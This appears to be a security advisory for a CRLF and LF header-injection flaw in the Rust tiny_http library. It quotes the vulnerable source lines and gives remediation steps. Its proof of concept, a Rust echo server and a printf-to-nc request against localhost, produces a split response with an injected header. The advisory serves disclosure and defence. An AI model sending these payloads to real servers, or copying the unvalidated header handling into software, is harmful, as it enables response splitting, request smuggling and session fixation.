## https://sploitus.com/exploit?id=PACKETSTORM:227163
# Security Advisory: HTTP Header Injection via Unvalidated CR and LF in Header Values (tiny_http)
**Assigned CVE ID:** CVE-2026-66753
## Summary
tiny_http does not reject carriage return or line feed inside HTTP header values,
in either direction.
On the request side, `read_next_line` ends a header line only on CRLF, so a lone
LF survives inside the parsed value and reaches the application. On the response
side, `Header::from_bytes` validates only that the bytes are ASCII, and the
response writer emits values verbatim, so a value containing CRLF splits the
response.
Applications that reflect a request header value into a response header, or that
re-serialise request headers onto another connection, therefore inherit an
injection primitive with no indication that anything is wrong.
## Affected versions
Repo URL: https://github.com/tiny-http/tiny-http
| | |
|---|---|
| Affected | all released versions up to and including 0.12.0 (2022-10-06), the current release |
| Verified | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| Fixed in | no fixed version at time of writing |
This is distinct from RUSTSEC-2020-0031 / CVE-2020-35884, which covered
`Transfer-Encoding` parsing and was fixed in 0.6.3 and 0.8.0. The behaviour
described here is present both before and after that fix.
## Severity
CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), a specific
case of CWE-93 (CRLF Injection).
CVSS 4.0 base score 6.3 (Medium)
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
## Threat model
A remote, unauthenticated client sending raw HTTP to any tiny_http server. No
credentials or user interaction.
Two consumer shapes turn this into a vulnerability:
Applications that copy a request header value into a response header. This is
the reflection pattern behind CORS origin echo, `Location` headers built from
request data, and cookie handling. A lone LF in the request value reaches the
response, and if the application constructs the response value itself it can
carry a full CRLF.
Applications that re-serialise request headers onto another connection, such as
a reverse proxy. The lone LF is written into the upstream request, and backends
that treat a bare LF as a header line terminator read one request as two.
RFC 9112 section 2.2 permits recipients to do this, so those backends are within
spec. Go `net/http` and Python `http.server` were both measured to accept it.
## Root cause
### Request side
`tiny_http-0.12.0/src/client.rs`, lines 80 to 102. The loop returns only when a
LF is preceded by a CR. Any other byte, including a lone LF or a lone CR, is
pushed into the line buffer at line 100:
```rust
84 loop {
85 let byte = self.next_header_source.by_ref().bytes().next();
...
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
101 }
```
LF is 0x0A and CR is 0x0D, both valid ASCII, so `AsciiString::from_ascii` on
line 94 accepts them.
`tiny_http-0.12.0/src/common.rs`, lines 184 to 191, then only trims the value.
`trim` removes leading and trailing whitespace but leaves interior bytes intact:
```rust
184 fn from_str(input: &str) -> Result<Header, ()> {
185 let mut elems = input.splitn(2, ':');
186
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
```
A CRLF pair cannot survive, since it terminates the line, but a lone LF, a lone
CR, and sequences such as `\n\r` all can.
### Response side
`tiny_http-0.12.0/src/common.rs`, lines 166 to 172, checks only for ASCII:
```rust
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
```
`tiny_http-0.12.0/src/response.rs`, lines 99 to 104, writes the value with no
escaping:
```rust
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
```
Note that `HeaderField::from_str` at line 226 does reject whitespace in a field
name, but `HeaderField::from_bytes` on line 171 does not, so response header
names are unchecked too.
## Proof of Concept
Step 1. Start a server that prints a parsed request header value and echoes a
value containing CRLF into a response header.
```rust
use tiny_http::{Header, Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8004").unwrap();
for request in server.incoming_requests() {
for h in request.headers() {
if h.field.equiv("X-Test") {
println!("parsed X-Test value = {:?}", h.value.as_str());
}
}
let evil = "a\r\nX-Injected: yes";
let mut resp = Response::from_string("body");
resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
let _ = request.respond(resp);
}
}
```
Step 2. Send a request whose `X-Test` value contains a bare LF. In the command
below `\n` is a single line feed and `\r\n` is a CRLF. The distinction is the
point of the test, so do not let an editor normalise it.
```sh
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004
```
Result on stdout. The LF is still inside the parsed value:
```
parsed X-Test value = "aaa\nbbb"
```
Result on the wire. The response header split into two:
```
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4
body
```
## Impact
By itself tiny_http does not re-emit request headers, so the request-side
behaviour is a latent primitive rather than a direct compromise. It becomes
exploitable in any consumer that forwards or reflects header values, where it
yields request smuggling against LF-tolerant backends or header injection in the
response.
The response-side behaviour is directly exploitable in any application that
places attacker-influenced text into a header value: script injection in the
origin's context, cache poisoning, session fixation through an injected
`Set-Cookie`, and overriding security headers.
For comparison, the `http` crate rejects CR and LF in `HeaderValue::from_str`,
which is why stacks built on it do not expose either behaviour.
## Remediation
Reject control characters at both boundaries.
In `read_next_line` (`src/client.rs` line 80), treat a bare CR or a bare LF in a
header line as a protocol error and return 400, rather than folding it into the
value. Alternatively reject them in `Header::from_str` (`src/common.rs` line
184) after the split.
In `Header::from_bytes` (`src/common.rs` line 166), reject values containing
0x0D, 0x0A or 0x00, and reject field names containing anything outside the
RFC 9110 token set. Returning `Err` there is already handled by callers, since
the signature is fallible.